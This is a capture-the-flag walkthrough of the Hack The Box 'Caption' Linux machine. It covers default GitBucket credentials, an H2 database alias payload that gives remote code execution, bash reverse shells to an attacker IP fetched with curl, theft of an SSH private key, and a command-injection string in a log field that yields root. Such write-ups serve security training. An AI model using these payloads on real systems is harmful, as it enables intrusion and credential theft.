Hack The Box / LINUX / 2026-03-27
Hack The Box - Caption (Linux)
Compromise through exposed GitBucket default root credentials and H2 RCE, pivot with SSH key reuse, then root via command injection in internal Logservice using crafted thrift request.
Target
- IP:
10.129.1.15
Recon
sudo nmap -sC -sV 10.129.1.15 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad request
| Content-length: 90
| Cache-Control: no-cache
| Connection: close
| Content-Type: text/html
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
| </body></html>
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.1 301 Moved Permanently
| content-length: 0
| location: http://caption.htb
|_ connection: close
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open http-proxy
|_http-title: GitBucket
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Mon, 16 Sep 2024 12:27:13 GMT
| Set-Cookie: JSESSIONID=node01b54dyfkxb5g71ipwx9kt2fib83.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 5916
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>Error</title>
| <meta property="og:title" content="Error" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.129.1.15:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
| <meta property="og:image" content="http://10.129.1.15:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/g
| GetRequest:
| HTTP/1.1 200 OK
| Date: Mon, 16 Sep 2024 12:27:12 GMT
| Set-Cookie: JSESSIONID=node01svt0f1mve24vf6nczrqdv911.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 7191
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>GitBucket</title>
| <meta property="og:title" content="GitBucket" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.129.1.15:8080/" />
| <meta property="og:image" content="http://10.129.1.15:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/gitbucket.png?20240916122439" type="i
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Mon, 16 Sep 2024 12:27:13 GMT
| Set-Cookie: JSESSIONID=node0jmt64bhk19qbq3uvodwcek662.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
|_ <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
Add caption.htb to /etc/hosts.
Go to http://caption.htb/.
There is a login form.
Go to http://caption.htb:8080/.
It is GitBucket.
Login with default credentials:
root:root
Go to repositories. There are two repositories:
-
Logservice
-
Caption-Portal
Clone both.
Inspect Caption-Portal history.
In file haproxy.cfg we find credentials:
-
username:
margo -
password:
vFr&cS2#0!
Login to http://caption.htb with these credentials.
RCE via GitBucket Database Viewer
Return to http://caption.htb:8080/.
Go to Database viewer.
Run these queries:
CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL EXECVE('id');
We have RCE.
Create a file rev with content:
bash -i >& /dev/tcp/10.10.16.11/4444 0>&1
Start listeners:
python3 -m http.server 80
nc -vlnp 4444
Execute queries:
CALL EXECVE('curl http://10.10.16.11/rev -o /dev/shm/rev');
CALL EXECVE('bash /dev/shm/rev');
We get a reverse shell as user margo.
cat .ssh/id_ecdsa
Copy it into file margo_key.
chmod 600 margo_key
ssh -i margo_key margo@caption.htb
Privilege Escalation
cat /etc/passwd
We notice user ruth.
cat app/app.py
We find credentials:
margo vFr&cS2#0!
admin cFgjE@0%l0
On 127.0.0.1:9090 there is Logservice (from previous repository).
There is a command injection vulnerability.
On target machine, create /dev/shm/test.log with content:
ip: 127.0.0.1, "user-agent":"'; bash /dev/shm/rev #"
Create /dev/shm/rev with content:
bash -i >& /dev/tcp/10.10.16.11/4444 0>&1
Run:
chmod 777 test.log
chmod 777 rev
Start listener:
nc -vlnp 4444
Forward port 9090:
ssh -i margo_key margo@caption.htb -NL 9090:localhost:9090
See the archive in attachments:
- attachments/test_go.zip
Unzip it.
File log_service.thrift was copied from Logservice repository.
Folder gen-go was generated with:
thrift -r --gen go log_service.thrift
go build
./test_go
We get a reverse shell as root.